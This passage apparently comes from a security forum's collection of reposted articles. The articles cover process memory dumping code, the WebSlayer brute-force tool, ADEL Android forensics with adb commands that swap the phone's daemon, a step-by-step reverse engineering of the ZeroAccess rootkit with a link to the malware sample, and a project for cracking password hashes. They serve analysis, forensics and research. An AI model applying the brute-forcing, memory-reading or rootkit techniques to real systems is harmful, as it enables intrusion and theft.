hierarchy of contemporary computers they are at the very top. The hierarchy looks like this: CPU registers CPU cache RAM (random access memory) HDD (hard disk drive storage) External storage, even optical media like CDs, DVDs, BluRay disks and such Registers hold minimal amounts of data and are extremely fast. The cache holds far larger amounts of data but it is still pretty fast. The RAM holds even larger amounts of data and it is far slower (in terms of both bandwidth and latency) than any memory operation inside a CPU. Hard disks have an even larger capacity than your RAM and they are very slow in comparison to the objects at the top of the hierarchy. At this point I should probably briefly explain what the CPU cache actually is. It is a small high performance storage unit inside your CPU to which chunks of memory from the RAM are copied whenever you perform memory accesses. This way the CPU does not have to access the RAM over and over again when it is processing the same piece of data. This speeds up the execution of code a lot - RAM access is vey slow in comparison to cache access after all. In reality this cache is actually not a single unit but it is divided into multiple cache levels. The Level 1 Cache is the smallest but fastest one. The next level is bigger but slower and so on. Caching is not of much interest to somebody who is new to assembly, though. I might cover this topic later in sections with deal with optimising code for speed. Let us get back to the CISC part I mentioned earlier. There are two major microprocessor architecture philosophies known as RISC (reduced instruction set computing) and CISC (complex instruction set computing). In RISC architectures instructions are rather simple and perform very fundamental operations. RISC instructions are incapable of performing multiple actions at once but they are very fast. The instruction format for RISC architectures is usually quite uniform and each instruction takes up the same number of bytes in memory. This makes them very easy to decode for the processor. CISC architectures generally feature complex instructions which perform multiple tasks sequentially, like loading a value from memory, peforming an arithmetic operation on it and then writing the result of the operation into memory. In a RISC architecture this would be divided into multiple instructions. CISC instructions are usually of variable length and they are very complicated to decode for the CPU. Tutorial complet, merita citit: http://siyobik.info.gf/main/documents/view/x86-tutorial/

[h=1]Extracting Objects from a Running Process[/h]February 11, 2013 By PnUic Few days ago two new 0-days have been spotted in the wild: CVE-2013-0633 and CVE-2013-0634, both of them involving a .swf file, possibly embedded inside a Word Document. It might be interesting to understand how to dump a similar resource while the attacked process is running, after all the obfuscation layers are cleared. Clearly this same technique can be expanded to extract any type of object from any process, as an example whenever we need to simply dump a memory area, or when we need to extract (or find) an entire object. While memory dumpers are usually common tools, it might be interesting to understand how the dumping process works. So let’s dig a bit deeper. [h=2]Step 1: Understanding Windows Address Space[/h] The virtual address space of a process is the set of virtual memory addresses that the process is allowed to use. In the default Virtual Address Space for 32-bit Windows processes, the lower 2GB: from 0×0 through 0x7FFFFFFF, are assigned to the running process while the other 2GB are normally used by the system. More information: Virtual Address Space -Virtual Address Space in 64-bit Windows. [h=2]Step 2: APIs to get system information and to access a process memory[/h] [h=3]2.1 Processes list[/h] In order to read a given process memory, we need to acquire its handle and in turn, to do that we need to iterate the list of processes until we find the one we are looking for. Process enumeration is performed through the use of EnunProcesses() API, the code is quite simple: if(!EnumProcesses(nProcess, //processes list sizeof(nProcess), &nByteOfProc)) {return false;} nOfProcesses = nByteOfProc / sizeof(DWORD); //for each process for (i = 0; i < nOfProcesses; i++ ) { // Get a handle to the process. hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, nProcess[i] ); // Get the process name. if ( hProcess != NULL) { if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) ) { //get application filename GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR)); //Has it found the right process? if(!_tcscmp(szProcessName, procName)) { // Do whatever we need with the newly found process ... } } CloseHandle(hProcess); } } [h=3]2.2 Memory sections[/h] Once we have access to memory process throungh the handle, we need to get information on its sections in order to find in a signature (that is: a sequence of bytes). That’s how we’ll proceed: Get the system minimum and maximum address of a process using GetSystemInfo Call VirtualQueryEx to retrieve information about sections within the virtual address space of a specified process, by section’s base address. System minimum address is the the first section base address. In the MEMORY_BASIC_INFORMATION structure there are info about memory section: size, base address and more; nextSectionBaseAddr = currentBaseAddress + currentSectionSize Copy in a locally allocated process memory the target process’ section (ReadProcessMemory) to find the desired signature with a simple memcmp(). Here it is the code to find a sequence of bytes in memory: the SWF signature (the entire project can be downloaded at the end of the article). TCHAR buffer[] = _T("FWS"); //the signature can also be: CWS and ZWS, see SWF file format specification GetSystemInfo(&sysInfo); memBase = sysInfo.lpMinimumApplicationAddress; memMax = sysInfo.lpMaximumApplicationAddress; //until max memory address or until buffer found while(memBase < memMax) { //get section info VirtualQueryEx(hProcess, memBase, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); //if section is not reserved if(mbi.State != MEM_RESERVE ) { //I copy it: I alloc a memory buffer in local process .. allocatedMem = (BYTE *) VirtualAlloc(NULL, mbi.RegionSize, MEM_COMMIT, PAGE_READWRITE); if(allocatedMem != NULL) { //.. and copy bytes for more scan velocity if(ReadProcessMemory(hProcess, memBase, allocatedMem, mbi.RegionSize, &jnk)) { storedBaseAddr = baseAddr = allocatedMem; maxAddr = (BYTE*) ( ((SIZE_T)baseAddr + mbi.RegionSize) - lenBuffer); //and find the buffer into section while(baseAddr < maxAddr) { if(memcmp((LPVOID)baseAddr, buffer, lenBuffer) == 0) { //I found it!! _tprintf(_T("\tBuffer found at found at %p\n"), ( (SIZE_T)memBase + (baseAddr-storedBaseAddr)) ); //try to dump! DWORD objSize = dumpObj(baseAddr); //go ahead the object baseAddr = (BYTE*) ((SIZE_T)baseAddr + objSize); } else baseAddr++; //next byte } } //free memory VirtualFree(allocatedMem, 0, MEM_RELEASE); } } //next section base address memBase = (LPVOID) ((SIZE_T)memBase + mbi.RegionSize); }//the signature to find [h=3]2.3 Dump the object[/h] Once we have found a signature in memory, we can dump the object, provided we know its size and where to find this information: according to SWF specification the length field is an UInt32 (DWORD) at start+4: stringBaseAddr += 4; //get file size DWORD size = *((DWORD*)stringBaseAddr); _tprintf(_T("\tFile size: %u bytes\n"), size); //go to object start addr stringBaseAddr -= 4; //create a new file HANDLE hFile = CreateFile(outputFileName,GENERIC_WRITE, FILE_SHARE_WRITE, 0,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) { _tprintf(_T("\tImpossible to create dump file\n")); return; } //and write in the object if(WriteFile(hFile, stringBaseAddr, size, &jnk, NULL) == false) { CloseHandle(hFile); DeleteFile(outputFileName); _tprintf(_T("\tImpossible to dump the file\n\n")); } else { CloseHandle(hFile); _tprintf(_T("\tFile dumped!!\n\n")); }//addr of "FileLength" field: That’s all! Download project’s code. Pn Sursa: Extracting Objects from a Running Process

WebSlayer is a tool designed for brute forcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts,files, etc), brute force GET and POST parameters, bruteforce Forms parameters (User/Password), Fuzzing, etc. The tools has a payload generator and an easy and powerful results analyzer. You can perform attacks like: Predictable resource locator, recursion supported (Discovery) Login forms brute force Session brute force Parameter brute force Parameter fuzzing and injection (XSS, SQL) Basic and Ntml authentication brute forcing Features: Recursion Encodings: 15 encodings supported Authentication: supports Ntml and Basic Multiple payloads: you can use 2 payloads in different parts Proxy support (authentication supported) For predictable resource location it has: Recursion, common extensions, non standard code detection Multiple filters for improving the performance and for producing cleaner results Live filters Multithreads Session saving Integrated browser (webKit) Time delay between requests Attack balancing across multiple proxies Predefined dictionaries for predictable resource location, based on known servers (Thanks to Dark Raver, OPEN-LABS) This site will be used to host the project files, and for issues management. Official OWASP: site Download: https://code.google.com/p/webslayer/downloads/list Sursa: https://code.google.com/p/webslayer/

[h=2]ADEL – Android Data Extractor Lite[/h] We developed a tool named ADEL which is meant as an abbreviation of “Android Data Extractor Lite”. ADEL was developed for versions 2.x of Android and is able to automatically dump selected SQLite database files from Android devices and extract the contents stored within the dumped files. In this section we describe the main tasks of ADEL and what steps the tool actually performs. However, there are conditions that must apply for ADEL to work correctly. These conditions are stated in the following sections, corresponding to the relevant tasks. A flow chart showing the structure of ADEL is depicted in the following figure: During the development of ADEL we primarily took into account the following design guidelines: Forensic principles: ADEL is intended to treat data in a forensically correct way. This goal is reached by the fact that activities are not conducted directly on the phone but on a copy of the databases. This procedure assures that data does not become changed, neither by the users of ADEL nor by an uncompromised operating system. In order to proof the forensic correctness of ADEL, hash values are calculated prior and after each analysis, to guarantee that dumped data did not become changed during analysis. Extendibility: ADEL has been modularly built and contains two separate modules: the analysis and the report module. Predefined interfaces exist between these modules and both of them can be easily amended by additional functions. The modular structure allows for dumping and analyzing further databases of smartphones without great effort and facilitates updates of the system in the future. Usability: The use of ADEL is intended to be as simple as possible to allow its use by both qualified persons and non-experts. At best, the analysis of the mobile phone is conducted in an autonomous way so that the user does not receive any notice of internal processes. Moreover, the report module creates a detailed report in a readable form, including all of the decoded data. During the execution, ADEL optionally writes an extensive log file where all of the important steps that were executed are traced. ADEL makes use of the Android Software Development Kit (Android SDK) and especially the adb deamon to dump database files to the investigator's machine. To extract contents contained within a SQLite database file ADEL parses the low-level data structures. After having opened the database file that is to be parsed in read-only mode, ADEL reads the database header (first 100 bytes of the file) and extracts the values for each of the header fields. Not all, but some of the values in the header fields are necessary to be able to parse the rest of the database file. An important value is the size of the pages in the database file which is required for parsing the b-tree structures (page-wise). After having read the database header fields, ADEL parses the b-tree that contains the “sqlite_master” table for which the first page of the database always is the root page. The SQL CREATE statement and the page number of the b-tree root page are extracted for each of the database tables. Additionally, the SQL CREATE statement is further analyzed to extract the name and the data type for each column of the corresponding table. Finally the complete b-tree structure is parsed for each table, beginning at the b-tree root page that was extracted from the “sqlite_master” table. Every leaf page of the b-tree is identified by following the pointers of all of the interior pages. Finally the row contents of each table are extracted from the cells found in any leaf page that belongs to the same table b-tree. Within this section we address the report module and its functionalities. In the current development state, the following databases are forensically treated and parsed: telephone and SIM-card information (e. g. IMSI and serial number) telephone book and call lists, calendar entries, SMS messages, GPS locations from different sources on the smartphone. Data retrieved this way is written to an XML-File by the report module in order to ease further use and depiction of the data. As the analysis module, it can be easily updated regarding possible changes in future Android versions or in the underlying database schemas. Therefore, we have created different tuple – e. g. [table, row, column] – to define the data that is exchanged between both modules. If the database design changes in the future, only the tuple have to be adapted. The report module automatically creates XML-files for each of the data types listed above. In addition, a report is created which contains all data extracted from the analyzed databases. With the help of a XSL-file the report will be graphically refurbished. All files created by ADEL are stored in a subfolder of the current project. Changes since the first version of ADEL presented on May 2011: Since many manufactures opened their boot loader it is no longer necessary to exploit the Android system to gain root access in order to be able to execute ADEL correctly. Now it is sufficient to modify the original kernel in a way so that a root-shell is included. Due to this procedure, the amount of modified data on a smartphone is significantly reduced as compared to other approaches, for example flashing the smartphone with a custom ROM. As soon as the smartphone has been updated with the modified kernel, the following changes have to be made manually in order to guarantee that the data given to the investigator are trustworthy and satisfy integrity: The original, untrusted adb-deamon on the smartphone is replaced by a different, trustful copy. The commands listed below can be used to copy a trustful adb-deamon onto the smartphone and, subsequently, remount the system partition to make it writeable. If this step is successfully performed the existing deamon is backed up and the new one is moved to the same place. Afterwards the partition is mounted to read-only again in order to prevent further changes. As a final step the running (original) adb-deamon is terminated. adb push adbd /sdcard/ adb shell su - mount -orw,remount / mv /sbin/adbd /sbin/adbd.old mv /sdcard/adbd /sbin/adbd mount -oro,remount / kill $(ps | grep adbd) Additionally to the above fundamental change to the ADEL framework, new functionality regarding the retrieval and analysis of location information has been added. Now we are able to retrieve location data from the well known cache-files as well as from some of the most downloaded apps (like twitter and Facebook) and we are extracting GPS-coordinates out of the EXIF data from pictures. Here is an example how the result looks like: Changes since the second version of ADEL presented on January 2012: ADEL now makes use of a custom recovery image based on the Clockworkmod-Recovery. Due to this change you do not need to modify the kernel or the adb daemon anymore. Furthermore, on some newer smartphones you can load the modified recovery to RAM via fastboot, so you don't need to do any persistent changes to the smartphone. Where to get ADEL: If you are interested in testing ADEL or if you have any questions please contact me via email. A open-source version of ADEL is also available on GitHub. Sursa: forensic blog

[h=1]FakeNet[/h]andyhonig Windows Network Simulation tool for Malware Analysis [h=2]Description[/h] FakeNet is Windows network simulation tool designed for malware analysis. It redirects all traffic leaving a machine to the localhost (including hard-coded IP traffic and DNS traffic) and implements several protocols to ensure that malicious code continues to execute and can be observed by an analyst. The tool supports DNS, HTTP, and SSL protocols and provides a python extension interface for implementing new or custom protocols. It also the capability to listen for traffic to any port as well as create packet capture on the localhost. Right now the tool only supports WinXP Service Pack 3. The tool runs fine on Windows Vista/7 although certain features will be automatically disabled. FakeNet Web Site Download: http://sourceforge.net/projects/fakenet/files/latest/download

[h=1]Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit[/h]Giuseppe Bonfa November 12, 2010 (quick plug – to all current & future reverse engineers – check out our Reverse Engineering Training Course. We’d love to publish your work next!) Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent Dropper Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection Rootkit Part 4: Tracing the Crimeware Origins by Reversing the Injected Code [h=2]SUMMARY[/h] This four part article series is a complete step-by-step tutorial on how to reverse engineer the ZeroAccess Rootkit. ZeroAcess is also known as the Smiscer or Max++ rootkit. You can either read along to gain an in-depth understand the thought process behind reverse engineering modern malware of this sophistication. The author prefers that you download the various tools mentioned within and reverse the rookit yourself as you read the article. If you would like to use the malware sample used in these articles, download it here: Max++ Malware. Note that this archive is password protected and the password is infected InfoSec Institute would classify ZeroAccess as a sophisticated, advanced rootkit. It has 4 main components that we will reverse in great detail in this series of articles. ZeroAccess is a compartmentalized crimeware rootkit that serves as a platform for installing various malicious programs onto victim computers. It also supports features to make itself and the installed malicious programs impossible for power-users to remove and very difficult security experts to forensically analyze. At the conclusion of the analysis, we will trace the criminal origins of the ZeroAccess rootkit. We will discover that the purpose of this rootkit is to set up a stealthy, undetectable and un-removable platform to deliver malicious software to victim computers. We will also see that ZeroAccess is being currently used to deliver FakeAntivirus crimeware applications that trick users into paying $70 to remove the “antivirus”. It could be used to deliver any malicious application, such as one that steals bank and credit card information in the future. Further analysis and network forensics supports that ZeroAccess is being hosted and originates from the Ecatel Network, which is controlled by the cybercrime syndicate RBN (Russian Business Network). Symantec reports that 250,000+ computers have been infected with this rootkit. If 100% of users pay the $70 removal fee, it would net a total of $17,500,000. As it is not likely that 100% of users will pay the fee, assuming that perhaps 30% will, resulting $5,250,000 in revenue for the RBN cybercrime syndicate. It has the following capabilities: Modern persistence hooks into the OS – Make it very difficult to remove without damaging the host OS Ability to use a low level API calls to carve out new disk volumes totally hidden from the infected victim, making traditional disk forensics impossible or difficult. Sophisticated and stealthy modification of resident system drivers to allow for kernel-mode delivery of malicious code Advanced Antivirus bypassing mechanisms. Anti Forensic Technology – ZeroAccess uses low level disk and filesystem calls to defeat popular disk and in-memory forensics tools Serves as a stealthy platform for the retrieval and installation of other malicious crimeware programs Kernel level monitoring via Asynchronous Procedure Calls of all user-space and kernel-space processes and images, and ability to seamlessly inject code into any monitored image In this tutorial, our analysis will follow the natural execution flow for a new infection. This will result in a detailed chronology of the infection methodology and “workflow” that the rootkit uses to infect hosts. This conceptual workflow is repeated in many other advanced rootkit that have been analyzed, so it behooves you to understand this process and therefore be able to apply it to new malware reversing situations. Usually, when a rootkit infects a host, the workflow is structured as follows: Infection vector allows for rootkit agent reaches victim’s system. (Drive-by-download, client side exploit or a dropper) User-mode agent execution Driver executable decryption and execution System hiding from Kernel-mode. Establishment on the host and Kernel-mode level monitoring/data-stealing. Sending of stolen data in a covert data channel. Our analysis of ZeroAccess is split into a series of articles: Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent Dropper Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection Rootkit Part 4: Tracing the Crimeware Origins of ZeroAccess Rootkit by Reversing the Injected Code Our analysis starts from analyzing the User-mode Agent and finishes at Kernel-mode where the rootkit drops two malicious device drivers. Step-by-step Analysis The ZeroAccess rootkit comes in the form of a malicious executable that delivered via infected Drive by Download Approach. Drive-by download means three things, each concerning the unintended download of computer software from the Internet: Downloads which a person authorized but without understanding the consequences (e.g. downloads which install an unknown or counterfeit executable program, ActiveX component, or Java applet). Any download that happens without a person’s knowledge. Download of spyware, a computer virus or any kind of malware that happens without a person’s knowledge. Drive-by downloads may happen when visiting a website, viewing an e-mail message or by clicking on a deceptive pop-up window by clicking on the window in the mistaken belief that, for instance, an error report from the computer itself is being acknowledged, or that an innocuous advertisement pop-up is being dismissed. In such cases, the “supplier” may claim that the person “consented” to the download although actually unaware of having started an unwanted or malicious software download. Websites that exploit the Windows Metafile vulnerability may provide examples of drive-by downloads of this sort. ZeroAccess has some powerful rootkit capabilities, such as: Anti FileSystem forensics by modifying and infecting critical system drivers (disk.sys, atapi.sys) as well as PIC driver object stealing and IRP Hooking. Infecting of System Drivers. User-mode Process Creation interception and DLL Injection, from KernelMode. DLL Hiding and Antivirus bypassing. Extremely resistant to Infection Removal. Part 1: Reverse Engineering the User-Mode Agent/Dropper The rootkit is obfuscated via a custom packed executable typically called ‘Max++ downloader install_2010.exe’. The hashes for this file are: MD5: d8f6566c5f9caa795204a40b3aaaafa2 SHA1: d0b7cd496387883b265d649e811641f743502c41 SHA256: d22425d964751152471cca7e8166cc9e03c1a4a2e8846f18b665bb3d350873db Basic analysis of this executable shows the following PE sections and imports: Sections: .text .rdata .rsrc Imports: COMCTL32.dll The Import Table is left in a very poor condition for analysis. Typically this means that additional and necessary functions will be imported at Run Time. Let’s now check the Entry Point Code: The start code is pretty standard, except for an interesting particular, as you can see at 00413BD5 we have an int 2Dh instruction. The interrupt 2Dh instruction is mechanism used by Windows Kernel mode debugging support to access the debugging interface. When int 2Dh is called, system creates an EXCEPTION_RECORD structure with an exception code of STATUS_BREAKPOINT as well as other specific informations. This exeception is processed by calling KiDebugRoutine. Int 2Dh is used by ntoskrnl.exe to interact with DebugServices but we can use it also in user-mode. If we try to use it in normal (not a debugged) application, we will get exception. However if we will attach debugger, there will be no exception. (You can read more about this at the OpenRCE reference library http://www.openrce.org/reference_library/anti_reversing_view/34/INT%202D%20Debugger%20Detection/ ) When int 2Dh is called we get our first taste of ZeroAccess anti-reversing and code obsfuction functionality. The system will skip one byte after the interrupt, leading to opcode scission. The actual instructions executed will differ from the apparent instructions that will be displayed in a dissasembler or debugger. To continue further we need a mechanism to correctly handle int 2Dh call and mantain the jump-one-byte feature, and allow us to follow the opcode-splitted code. To do so, we are going to use StrongOD Olly plugin which can be downloaded here: http://reversengineering.wordpress.com/2010/07/26/strongod-0-3-4-639/ With StrongOD installed, after tracing over int 2Dh we are presenting with the following instructions: The most interesting instruction for us here is the Call 00413bb4. Immediately after this instruction we have garbage code. Let’s enter into this call, and you are now presented with the following code block: Again, we see int 2Dh, which will lead us one byte after the RETN instruction. The next piece of code will decrypt the adjacent routine, after tracing further, finally we land here: This call will decrypt another block of code, at after that call execution jump here: FS:[18] corresponds to TEB (Thread Environment Block) address, from TEB is obtained PEB (Process Environment Block) which is located at TEB Address + 30h. PEB+0C corresponds to PPEB_LDR_DATA LdrData. If you are using WinDBG, you can use this quick hint to uncover the link between structure -> offset ->involved member by issuing the following command: 0:004> dt nt!_PEB_LDR_DATA ntdll!_PEB_LDR_DATA +0×000 Length : Uint4B +0×004 Initialized : UChar +0×008 SsHandle : Ptr32 Void +0x00c InLoadOrderModuleList : _LIST_ENTRY +0×014 InMemoryOrderModuleList : _LIST_ENTRY +0x01c InInitializationOrderModuleList : _LIST_ENTRY +0×024 EntryInProgress : Ptr32 Void +0×028 ShutdownInProgress : UChar +0x02c ShutdownThreadId : Ptr32 Void As you can see, the malicious code refers to _PEB_LDR_DATA + 1Ch, by checking the output of WinDbg you can see that ECX now points to InInitializationOrderModuleList. The code that follows is responsible for locating Import Function addresses and then from this information building an ImportTable on the fly dynamically. Next there is a complex sequence of nested calls that have the principal aim of decrypting, layer by layer, the core routines of ZeroAccess. We will not describe the analysis of this piece of multi-layer code; it is left as an exercise for the reader. This section of code is quite long, repetitive, and frankly boring, and not relevant from a functionality point of view. Imported Function addresses are successively protected and will be decrypted on fly only when they are called. Let’s take a look at how an API call actually looks: Call 00401172 decrypts and return the API’s address in EAX. In the above code snippet, the API called is VirtualAlloc. Allocated memory will be used in future execution paths to decrypt a number of different blocks of instructions. These blocks will eventually constitute an executable dropped by the original infection agent. Main executable ( the infection vector we are also referring to as the Agent) builds and drops various files into victim’s hard disk and as well as in memory. Whether on disk or in memory, the pattern used is always the same: Next, let’s try to determine what is being decrypted in these blocks. We place a breakpoint at 0040162B, which is immediately after Next Block jump. The end of the Next Block corresponds to the end of decryption process, we will see in allocated memory the familiar ‘MZ’ signature, letting us know the executable is ready to be used. Before proceding we recommending dumping onto the the hard drive the full executable using the Backup functionality of Ollydbg. The next block of code is protected with a VEH ( Vectored Exception Handler ) by using RtlAddVectoredExceptionHandler and RtlRemoveVectoredExceptionHandler. Inside this block we have a truly important piece of code. This block is loaded via the undocumented native API call, LdrLoadDll. A system DLL is called, lz32.dll, as well as the creation of a Section Object. A Section Object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space. Take a look at the red rectangle, calling the value 003C24FB stored in EAX. As you can see this belongs to the previously loaded lz32.dll. Because of this call, execution flow jumps inside the lz32.dll, and which contains malicious code decrypted by the rootkit agent. This is what the code of lz32.dll program looks like: If we trace into the Call 003C23DB, we have a long routine that completes infection, and more precisely we have the kernel mode component installation phase. We will see a series of creative routines specifically written to elude classic Antivirus checks, such as the usage of Section Objects and Views placed into System Files. Now, let’s take a look at the core routine of the Agent, which we will analyze piece by piece: During the analysis of complex pieces of malware it’s a good practice to leave open the HandleView and ModuleView panes within OllyDbg. This will help you keep track of what is loaded/unloaded and what files/objects/threads/etc. are opened. Let’s see what happens in Call 003C1C2C at address 003C2461. At first, we see the enumeration of Drivers placed into \system32\drivers, and next we have the following piece of code: We have an interesting algorithm here, after driver enumeration a random number is generated, next fitted within a range of [0 - 0xFF] and used to randomly select from the driver list a file to be infected. Finally the string formatted as: \._driver_name_ Now let’s watch what is going on in HandleView: As you can see a Section Object is created according to the randomly selected driver file, and next will be opened as View inside this Section. The access values for this section are set to 0xF001F. Let’s first talk about why this is important. During a malware analysis session, much like a forensic investigation, is fundamental to know what the access potential the various components have, so we can direct our investigation down the right path. This can be determined by checking the access rights assigned to various handles. Let’s lookup what the access right of 0xF001F corresponds by looking in winnt.h: #define SECTION_ALL_ACCESS 0xf001f SECTION_ALL_ACCESS means the handle has the ability to Read, Write, Query and Execute. This is the optimal environment to place a malicious portion of code. Now, lets analyze further: This block of code takes the driver previously selected and now registers it into: \registry\MACHINE\SYSTEM\CurrentControlSet\services\ The \services entry under CurrentControlSet contains parameters for the device drivers, file system drivers, and Win32 service drivers. For each Service, there is a subkey with the name of the service itself. Our registry entry will be named \._driver_name_ Start Type has 0×3 value that means -> Load on Demand Type: 0×1 -> Kernel Device Driver Image Path -> \* The same driver is always opened. Next, its handle used to send, via ZwFsControlCode, a FSCTL (File System Control Code). Taking a look at the API parameters at run time reveals that the FSCTL code is 9C040. This code corresponds to FSCTL_SET_COMPRESSION. It sets the compression state of a file or directory on a volume whose file system supports per-file and per-directory compression. Next, a new executable will be built with the aforementioned decryption scheme and then loaded via ZwLoadDriver. This process will result in two device drivers: The first driver is unnamed and will perform IRP Hooking and Object and disk.sys/pci.sys Object Stealing (we will analyze this in greater detail later) The second driver, named B48DADF8.sys, is process creation aware and contains a novel DLL injection system (we will also analyze it greater detail later) Once the driver infection is complete we land in an interesting piece of code: Here, we see the loading of fmifs.dll. This DLL is the Format Manager for Installable File Systems, and it offers a set of functions for FileSystem Management. In this case the exported function is FormatEx. A bit of documentation on FormatEx follows: VOID STDCALL FormatEx( PWCHAR DriveRoot, DWORD MediaFlag, PWCHAR Format, PWCHAR Label, BOOL QuickFormat, DWORD ClusterSize, PFMIFSCALLBACK Callback ); This function, as the name suggests is used to Format Volumes. In our case the DriverRoot is \\?\C2CAD972#4079#4fd3#A68D#AD34CC121074 and Format is NTFS. This is a remarkable feature unique to this rootkit. This call creates a hidden volume, and the volume will contain the driver and DLLs dropped by the ZeroAccess Agent. These files remain totally invisible to the victim (something we teach in our ethical hacking course). The next step the Agent takes is to build, with the same decryption routine previously described, the remaining malicious executables that will be stored into the newly created hidden volume. These two files are: B48DADF8.sys max++.00,x86.dll Both located into the hidden volume, \\?\C2CAD972#4079#4fd3#A68D#AD34CC121074\L\. We now we have a good knowledge of what user-mode side of ZeroAccess does, we can focus our attention to Kernel Mode side, by reversing the two drivers and dropped DLL. Let’s continue to follow the workflow of the rootkit. If you are reversing along with us, analysis will logically follow the order of binaries dropped by the Agent. Our first driver to reverse will be the randomly named one, which will be in Part 2 of this tutorial. Sursa: InfoSec Institute Resources – Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit

PEFrame [h=2]Current features[/h] Auto Analysis Hash MD5 & SHA1 PE file attributes Version info & metadata PE Identifier Signature Anti Virtual Machine Anti Debug Section analyzer Imported DLLs & API functions Search for suspicious API (Anti Debug) & sections Dumping all the information Extract all the string Extract all the url Reverse Hex dump List Entry instances [h=2]Documentation[/h] Usage Example [h=2]Download[/h] Download peframe (last version) FileInfo GUI Package for Ubuntu/Debian include peframe fileinfo_0.6_all.deb Sursa: https://code.google.com/p/peframe/

[h=1]Another crypto-attack on SSL/TLS encryption[/h]Many popular pages like Google use RC4 encryption for their services SSL/TLS is the foundation of secure internet connections, with RC4, designed by Ron Rivest in 1987, often used for encryption. Researchers have now come up with an attack against the algorithm that can decrypt at least the beginning of a secure transmission. The attack is still mostly theoretical, but it clearly demonstrates that there are some issues that need to be solved. A huge number of servers use RC4, including Google, Facebook, and Microsoft's web servers. The method has a number of advantages – it's very fast, which means that it's easier for servers to handle, and it's not vulnerable to some of the recent attacks on SSL/TLS like BEAST and Lucky13 and has therefore often been recommended as an alternative. At the same time, however, RC4 is old and has its fair share of problems. The RC4 algorithm is what is known as a stream cipher, with, basically, a pseudo-random number generator spitting out practically random numbers that are then used to link texts that need to be encrypted or decrypted with XOR. The password determines the generator's initialisation value, with the same value making the generator produce the same stream of numbers every time. If the numbers were truly random, this method would, in fact, create uncrackable encryption, known as a one-time pad. But, as the name says, the pseudo-random numbers are merely almost random, and Nadhem AlFardan, Dan Bernstein, Kenny Paterson, Bertram Poettering and Jacob Schuldt have found a way to use the minimal deviations from a purely statistical distribution to crack the encryption and decrypt at least 220 bytes of a connection. They need – for now, at least – an almost ludicrous number of connections that encrypt the same text: 230, or about one billion. But that figure is not as out there as it seems, since the large number of connections can be made automatically with, say, JavaScript code that has been injected into a regular web page and calls up the same HTTPS URL over and over. Among other data, all those connections get the valid session cookie every time, which the user – or the attacker – can use to, for example, sign into Google Mail without entering a password. Matthew Green explains the problem in more detail in his helpful blog post "Attack of the week: RC4 is kind of broken in TLS". The attack cannot yet be actually implemented in practice, but, as everyone knows, attacks are improving all the time. These findings should be considered a warning shot, and those using RC4 encryption should start looking for an alternative. One of the researchers' recommendations is CBC block cipher methods that have been updated to block BEAST and Lucky 13; another option is TLS 1.2, which is not yet widely used but offers better encryption methods. Sursa: The H Security - Another crypto-attack on SSL/TLS encryption

[h=2]Distributed Hash Cracking on the Web[/h] The web is constantly evolving with new technologies being added all the time, creating a platform completely unrecognisable from when the web first began. MWR Labs recently carried out a research project to assess some of these new technologies and the possibilities they bring for helping to solve computationally intensive problems within security. The main aim behind the project was to try to harness the power of two new technologies in particular, WebGL and WebCL, for retrieving passwords from hashes using a brute force technique. If this proved possible, the secondary aim was to assess how cost effective it would be to retrieve hashes in this way compared to using cloud computing. Let’s start with a brief introduction into these two new technologies. [h=3]WebGL & WebCL[/h] WebGL extends the capabilities of JavaScript to allow the rendering of 3D graphics in the web browser. Based on the OpenGL ES standard, WebGL executes directly on the Graphics Processing Unit (GPU). The Khronos Group develops and maintains both WebGL and OpenGL ES. WebGL is currently implemented in the following browsers: Firefox, Chrome, Safari and Opera. WebCL, announced in March 2011, provides JavaScript bindings to the OpenCL API. OpenCL is a framework for writing programs that can execute in parallel on GPUs and CPUs. Applications can achieve significant performance improvements through using OpenCL on problems that are suitable for parallelisation and thus through WebCL web applications will be able to do the same. The WebCL specification is still under development by Khronos; however, Nokia and Samsung have both created implementations to act as starting points. Nokia have created a Firefox extension and Samsung have developed a WebKit implementation. Currently WebCL is only available through the above implementations. [h=3]Getting the Hash[/h] Retrieving passwords from hashes using brute force is simply taking every combination of characters that comprise a password, hashing it and testing if it matches the original hash. Our starting point was to try to implement the MD5 hashing algorithm in WebGL and WebCL. It was always going to be a challenge to implement a hashing algorithm in WebGL simply because WebGL is designed for rendering graphics, not general computation! Indeed even after overcoming the hurdles involved, packing input into textures, computing using a shader, and retrieving output from images it became clear it was not feasible. This is due to limitations in the WebGL shading language, 32 bit Integers are not supported and neither are bitwise operations. Those familiar with the MD5 hashing algorithm will know that it basically performs a bunch of bitwise operations on 32 bit Integers. We did try implementing these features ourselves through using arrays of bits; however, as expected, it proved much slower than just using normal JavaScript and was just not feasible. WebCL on the other hand proved to be much simpler to implement. So with our fancy WebCL and boring JavaScript hashing algorithms we move onto our next stage, which is implementing a way to distribute the computation across the web. [h=3]Distribution[/h] The basic idea behind the distribution platform was to have a centralised server that distributes computation between worker nodes. The server contains a list of the hashes trying to be cracked and gives worker nodes a range of character combinations along with the hash to be cracked. The worker nodes then hash all these character combinations and if one matches the original hash, they report the recovered password to the centralised server. The server was implemented using Ruby with communication to the Nodes through JSON requests. The following two diagrams show an overview of the system and a step by step run through of a hash being cracked. Layout of the distributed platform: Step by step process of cracking the hash: The following features were implemented: Detects malfunctioning nodes A node’s chunk size changes depending on its speed Remotely refresh nodes in cases of code update Bans rogue nodes System monitoring – Statistics on speed, number of nodes connected etc. System design settings – Node refresh period Modular to allow new hash types, currently: MD5 SHA-1 [h=3]Deployment[/h] In order to assess our newly created Distributed Hash Cracker’s performance and cost effectiveness we decided to embed the 